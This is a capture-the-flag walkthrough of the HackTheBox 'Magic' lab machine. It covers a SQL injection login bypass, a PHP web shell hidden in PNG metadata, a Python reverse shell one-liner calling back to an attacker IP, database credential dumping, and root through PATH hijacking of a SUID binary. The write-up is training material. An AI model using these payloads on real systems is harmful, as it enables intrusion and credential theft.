Posts HackTheBox - Magic
Post
Cancel

HackTheBox - Magic

BoxInfo

Summary

  • We exploit improper redirect to access an image upload page.
  • We upload a PNG image with PHP code in its metadata to get RCE.
  • Use mysqldump to dump the database and get user password.
  • Exploit a SUID binary to get root shell using relative path injection.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# nmap -sC -sV 10.10.10.185
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 10:22 EDT
Nmap scan report for 10.10.10.185
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.84 seconds

Port 80

We have a bunch of images on the website and a link to the login page

I tried some default creds but they didn’t worked so I used gobuster to enumerate the website

Gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~# /opt/gobuster/gobuster dir -u http://10.10.10.185 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.185
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/08/21 10:32:53 Starting gobuster
===============================================================
/index.php (Status: 200)
/images (Status: 301)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)
/logout.php (Status: 302)

there is an upload.php page

Improper Redirect

Visiting the upload.php page redirects us back to the login page
But if we curl the upload page or view its response in burp, we can see that although it gives 302 redirect, it also gives the upload page with it

We can use burp to automatically match 302 FOUND and replace it with 200 OK so that we can view the page in browser without getting redirected

I added a match and replace rule in the options tab under proxy

Now we can visit the upload page in the browser without getting redirected to the login page

SQL Injection

Rather than taking advantage of the improper redirect to visit the upload page, we can also do basic SQL Injection in the login form to directly visit the upload page

providing a value of '=' in both username and password field logs you in

Image Upload

Uploads Directory

I uploaded a normal png file in order to see where the files are stored
the source code of the home page reveals the directory for uploaded images

and I verified that the file was indeed uploaded to /images/uploads/

Command Injection

We can’t upload files with .php extension but .php.png is allowed so if we can upload php code it will be executed
So I appended PHP code to a png file but uploading it gave this error

then I found this article that puts the PHP code in the metadata of the image

https://medium.com/@sebnemK/find-flag-in-image-file-upload-c9bc4975f595

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~# exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.php.png 
    1 image files updated
root@kali:~# exiftool image.php.png
ExifTool Version Number         : 11.93
File Name                       : image.php.png
Directory                       : .
File Size                       : 166 bytes
File Modification Date/Time     : 2020:08:22 01:10:34-04:00
File Access Date/Time           : 2020:08:22 01:10:34-04:00
File Inode Change Date/Time     : 2020:08:22 01:10:34-04:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 10
Image Height                    : 10
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Comment                         : <?php system($_GET["cmd"]); ?>
Image Size                      : 10x10
Megapixels                      : 0.000100

This file got uploaded successfully

If you want to take a look, this link has many other common vulnerabilities in file uploads

https://book.hacktricks.xyz/pentesting-web/file-upload

Reverse Shell

Now we have remote code execution on the machine

I started a netcat listener on port 4444 and visited this URL to get a reverse shell

1
10.10.10.185/images/uploads/image.php.png?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.55",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
2
3
4
5
6
7
8
9
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.185: inverse host lookup failed: Unknown host
connect to [10.10.14.55] from (UNKNOWN) [10.10.10.185] 47278
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/Magic/images/uploads$ 

User PrivEsc

Database Creds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@ubuntu:/var/www/Magic$ ls -al
ls -al
total 52
drwxr-xr-x 4 www-data www-data 4096 Mar 17 09:10 .
drwxr-xr-x 4 root     root     4096 Mar 13 06:07 ..
-rwx---r-x 1 www-data www-data  162 Oct 18  2019 .htaccess
drwxrwxr-x 6 www-data www-data 4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php
www-data@ubuntu:/var/www/Magic$ cat db.php5
cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}

So we found the creds theseus:iamkingtheseus to access the database named Magic

mysqldump

mysql command line tool is not present on the machine, so I used mysqldump which is present, to dump the database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
www-data@ubuntu:/tmp$ mysqldump Magic -u theseus -p
mysqldump Magic -u theseus -p
Enter password: iamkingtheseus

-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2020-08-21 12:32:57

We got a password from the database Th3s3usW4sK1ng

Switch User

1
2
3
4
5
6
7
www-data@ubuntu:/var/www/Magic$ su - theseus
su - theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:~$ cat user.txt
cat user.txt
24af5b0535b1c6442a12a5756656675e

I added my SSH public key to /home/theseus/.ssh/authorized_keys, so that I can SSH and get a proper shell

SSH as theseus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# ssh -i id_rsa theseus@10.10.10.185
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

29 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2023.
theseus@ubuntu:~$

Root PrivEsc

SUID binaries

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
theseus@ubuntu:~$ find / -perm -u=s 2>/dev/null
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
.....
.....
/bin/umount
/bin/fusermount
/bin/sysinfo
/bin/mount
/bin/su
/bin/ping

/bin/sysinfo is not a default SUID binary, so this is probably the privEsc path

Strings

sysinfo is a 64-bit ELF that uses a few commands without their absolute path, we can see that using strings command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
theseus@ubuntu:~$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped
theseus@ubuntu:~$ strings /bin/sysinfo
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
.....
.....
popen() failed!                                                                                                                                                                                                                            
====================Hardware Info====================                                                                                                                                                                                      
lshw -short                                                                                                                                                                                                                                
====================Disk Info====================                                                                                                                                                                                          
fdisk -l                                                                                                                                                                                                                                   
====================CPU Info====================                                                                                                                                                                                           
cat /proc/cpuinfo                                                                                                                                                                                                                          
====================MEM Usage=====================                                                                                                                                                                                         
free -h
.....
.....
.data.rel.ro
.dynamic
.data
.bss
.comment

so the binary uses lshw, fdisk, cat and free commands without their absolute paths

Relative Path Injection

I created an executable named lshw in /tmp and added /tmp to the PATH environment variable

1
2
3
4
5
6
7
8
theseus@ubuntu:/tmp$ cat lshw
/bin/bash 1>&0 2>&0
theseus@ubuntu:/tmp$ chmod +x lshw 
theseus@ubuntu:/tmp$ ls -al lshw 
-rwxrwxr-x 1 theseus theseus 20 Aug 21 22:52 lshw
theseus@ubuntu:/tmp$ export PATH=/tmp:$PATH
theseus@ubuntu:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Now if we run /bin/sysinfo executable, we will get root shell

1
2
3
4
5
6
7
theseus@ubuntu:/tmp$ /bin/sysinfo
====================Hardware Info====================
root@ubuntu:/tmp# cd /root
root@ubuntu:/root# ls
info.c  root.txt
root@ubuntu:/root# cat root.txt 
57ab1415e91ba009975dc7927d3de472

This post is licensed under CC BY 4.0